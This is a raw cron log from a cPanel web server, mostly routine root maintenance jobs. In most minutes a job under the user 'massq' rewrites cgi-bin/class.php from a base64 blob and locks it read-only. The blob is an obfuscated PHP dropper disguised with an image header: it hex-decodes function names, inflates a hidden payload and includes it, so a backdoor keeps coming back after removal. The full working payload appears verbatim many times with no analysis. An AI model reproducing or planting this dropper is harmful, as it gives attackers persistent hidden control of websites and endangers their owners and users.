Sep 12 19:30:01 server CROND[6006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:30:01 server CROND[6002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:30:01 server CROND[6004]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:30:01 server CROND[6007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:31:01 server CROND[6848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:31:01 server CROND[6847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:31:01 server CROND[6849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:32:01 server CROND[7225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:32:01 server CROND[7226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:32:01 server CROND[7228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:33:01 server CROND[7724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:33:01 server CROND[7725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:33:01 server CROND[7726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:34:01 server CROND[8115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:34:01 server CROND[8116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:34:01 server CROND[8117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:35:01 server CROND[8516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:35:01 server CROND[8517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:35:01 server CROND[8518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:35:01 server CROND[8522]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 19:35:01 server CROND[8523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:35:01 server CROND[8528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:35:01 server CROND[8525]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:35:01 server CROND[8524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:35:01 server CROND[8526]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:36:01 server CROND[9366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:36:01 server CROND[9368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:36:01 server CROND[9367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:37:01 server CROND[9740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:37:01 server CROND[9741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:37:01 server CROND[9742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:38:01 server CROND[10267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:38:01 server CROND[10268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:38:01 server CROND[10266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:39:01 server CROND[10645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:39:01 server CROND[10646]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 19:39:01 server CROND[10644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:39:01 server CROND[10647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:40:01 server CROND[11059]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:40:01 server CROND[11058]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:40:01 server CROND[11060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:40:01 server CROND[11068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:40:01 server CROND[11067]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:40:01 server CROND[11066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:40:01 server CROND[11072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:40:01 server CROND[11083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:41:01 server CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:41:01 server CROND[11912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:41:01 server CROND[11913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:42:01 server CROND[12299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
